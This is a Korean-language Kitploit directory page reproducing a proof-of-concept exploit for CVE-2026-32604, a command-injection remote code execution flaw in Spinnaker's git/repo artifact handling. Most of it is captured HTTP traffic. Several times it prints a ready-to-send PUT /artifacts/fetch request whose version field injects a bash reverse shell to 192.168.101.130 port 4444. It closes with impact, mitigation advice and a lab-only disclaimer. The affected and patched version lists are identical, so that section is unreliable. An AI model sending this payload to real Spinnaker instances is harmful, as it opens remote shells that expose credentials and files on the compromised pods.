Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-32604 — CVE-2026-32604에 대한 개념 증명 익스플로잇으로, Spinnaker의 GitRepo 아티팩트 처리에서 version 필드를 통한 명령 주입 RCE입니다. | Kitploit
도구/GitHubGitHub/k3ystr0k3r/cve-2026-32604
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityRemote Access Tool
GitHubk3ystr0k3r/cve-2026-32604

CVE-2026-32604

CVE-2026-32604에 대한 개념 증명 익스플로잇으로, Spinnaker의 GitRepo 아티팩트 처리에서 version 필드를 통한 명령 주입 RCE입니다.

저장소 보기
19시간 43분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-32604 - Spinnaker GitRepo 아티팩트 RCE

CVE-2026-32604 - git/repo 아티팩트 유형을 통한 Spinnaker의 원격 코드 실행.

이것은 Spinnaker의 GitRepo 아티팩트 처리에서 발생하는 명령 주입 / 원격 코드 실행 취약점입니다.

취약한 기능은 git/repo 아티팩트의 version 필드를 통해 사용자가 제어하는 값이 적절히 정제되지 않은 채 명령 실행에 도달할 수 있도록 합니다.

취약한 엔드포인트는 다음과 같습니다:

root@kitploit:~
PUT /artifacts/fetch

중요한 점은 애플리케이션이 git/repo 아티팩트 제공자를 다음을 통해 노출한다는 것입니다:

root@kitploit:~
GET /artifacts/credentials

이는 다음을 반환합니다:

root@kitploit:~
[
  {
    "name": "embedded-artifact",
    "type": "artifacts-embedded",
    "types": [
      "embedded/base64",
      "remote/base64"
    ]
  },
  {
    "name": "front50ArtifactCredentials",
    "type": "artifacts-front50",
    "types": [
      "front50/pipelineTemplate"
    ]
  },
  {
    "name": "lab-gitrepo",
    "type": "git/repo",
    "types": [
      "git/repo"
    ]
  },
  {
    "name": "custom-artifact",
    "type": "artifacts-custom",
    "types": [
      "custom/object"
    ]
  }
]

이는 git/repo 아티팩트 유형이 사용 가능함을 확인시켜 줍니다.


취약점

취약한 요청은 다음으로 전송됩니다:

root@kitploit:~
PUT /artifacts/fetch

Git 저장소 아티팩트를 포함하는 JSON 본문과 함께.

version 매개변수는 셸 구문으로 조작될 수 있습니다.

테스트를 위해 다음을 사용했습니다:

root@kitploit:~
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #

PoC 중 캡처된 전체 요청은 다음과 같습니다:

root@kitploit:~
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245

{
  "type": "git/repo",
  "name": "https://github.com/spinnaker/spinnaker.git",
  "reference": "https://github.com/spinnaker/spinnaker.git",
  "version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
  "artifactAccount": "lab-gitrepo"
}

여기서 중요한 매개변수는 다음과 같습니다:

root@kitploit:~
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"

주입된 셸 표현식은 예상되는 Git 브랜치/버전 값 뒤에 추가됩니다.

#은 주입된 표현식 이후의 명령 나머지 부분을 주석 처리하는 데 사용됩니다.


응답

요청은 취약한 애플리케이션에 의해 수락되었습니다.

캡처된 HTTP 응답은 다음과 같습니다:

root@kitploit:~
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive

[
  {
    "name": "embedded-artifact",
    "type": "artifacts-embedded",
    "types": [
      "embedded/base64",
      "remote/base64"
    ]
  },
  {
    "name": "front50ArtifactCredentials",
    "type": "artifacts-front50",
    "types": [
      "front50/pipelineTemplate"
    ]
  },
  {
    "name": "lab-gitrepo",
    "type": "git/repo",
    "types": [
      "git/repo"
    ]
  },
  {
    "name": "custom-artifact",
    "type": "artifacts-custom",
    "types": [
      "custom/object"
    ]
  }
]

관련된 요점은 취약한 아티팩트 유형이 존재하며 악성 version 값이 아티팩트 가져오기 엔드포인트에 의해 수락된다는 것입니다.


초기 서비스 확인

취약한 엔드포인트를 테스트하기 전에 대상이 응답하는지 확인했습니다:

root@kitploit:~
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

응답:

root@kitploit:~
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive

{"status":"UP"}

익스플로잇 흐름

PoC는 기본적으로 다음과 같습니다:

root@kitploit:~
Target
  │
  ├── GET /health
  │      └── {"status":"UP"}
  │
  ├── GET /artifacts/credentials
  │      └── git/repo artifact type exposed
  │
  └── PUT /artifacts/fetch
         │
         ├── type = git/repo
         ├── reference = attacker-controlled Git repository/reference
         └── version = injected shell command
                    │
                    └── command execution

문제는 단순히 엔드포인트가 Git 브랜치 이름을 받아들인다는 것이 아닙니다. 문제는 공격자가 제어하는 Git 아티팩트 데이터가 예상되는 Git 버전/브랜치 구문으로 안전하게 제한되지 않은 채 명령 실행 컨텍스트에 도달한다는 것입니다.


원시 PoC 요청

빠른 재현을 위해 핵심 요청은 다음과 같습니다:

root@kitploit:~
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json

{
  "type": "git/repo",
  "name": "https://github.com/spinnaker/spinnaker.git",
  "reference": "https://github.com/spinnaker/spinnaker.git",
  "version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
  "artifactAccount": "lab-gitrepo"
}

위의 페이로드는 통제된 랩 환경 전용입니다.


이것이 작동하는 이유

취약한 경로는 GitRepo 아티팩트 구현이 공격자가 제어하는 아티팩트 정보를 처리하는 것과 관련됩니다.

version에 대해 예상되는 값은 다음과 유사합니다:

root@kitploit:~
main

그러나 애플리케이션은 값을 해당 예상 형식으로 충분히 제한하지 않습니다.

대신 셸 구문이 도입될 수 있습니다:

root@kitploit:~
main; <command> #

이는 결과 명령의 의미를 변경합니다.

이로 인해 아티팩트 검색 작업이 취약한 Spinnaker Clouddriver 서비스의 컨텍스트에서 임의 명령 실행으로 바뀝니다.


영향

성공적인 익스플로잇은 영향을 받는 Clouddriver 파드에서 임의 명령 실행을 초래할 수 있습니다.

침해된 파드의 권한과 환경에 따라, 이는 잠재적으로 공격자가 다음을 할 수 있게 합니다:

  • 임의 명령 실행.
  • Clouddriver 프로세스에서 사용 가능한 자격 증명 읽기.
  • 컨테이너 내부에서 사용 가능한 파일 접근.
  • 접근 가능한 파일 수정 또는 삭제.
  • 파드에서 도달 가능한 다른 서비스 접근.
  • 잠재적으로 침해된 파드를 주변 환경으로 침투하기 위한 발판으로 사용.

공식 Spinnaker 보안 권고는 익스플로잇이 자격 증명을 노출하거나, 파일을 삭제하거나, 리소스를 주입할 수 있다고 구체적으로 언급합니다.


영향을 받는 버전

Spinnaker 보안 권고에 따르면, 영향을 받는 릴리스 라인은 다음 이전 버전을 포함합니다:

root@kitploit:~
2025.3.2
2025.4.2
2026.0.1
2026.1.0

패치된 버전은 다음과 같습니다:

root@kitploit:~
2025.3.2
2025.4.2
2026.0.1
2026.1.0

이 취약점은 CVE-2026-32604로 추적되며 CWE-20: 부적절한 입력 검증으로 분류됩니다.


완화

Spinnaker를 패치된 릴리스로 업그레이드하십시오.

업스트림 권고는 즉시 업그레이드할 수 없는 설치를 위한 임시 방편으로 git/repo 아티팩트 유형을 비활성화하는 것도 나열합니다.

가능한 경우 영향을 받는 릴리스 브랜치에 머무르기보다 현재 Spinnaker 릴리스를 사용해야 합니다.


참고 자료

  • Spinnaker Security Advisory — GHSA-x3j7-7pgj-h87r
  • CVE-2026-32604 — CISA Vulnerability Enrichment
  • Spinnaker Releases

면책 조항

이 PoC는 보안 연구, 취약점 검증 및 승인된 테스트를 위해 제공됩니다.

소유하거나 테스트에 대한 명시적 허가를 받은 시스템에 대해서만 실행하십시오.

저는 격리된 랩 환경에서 취약점을 테스트했습니다.

도구 다운로드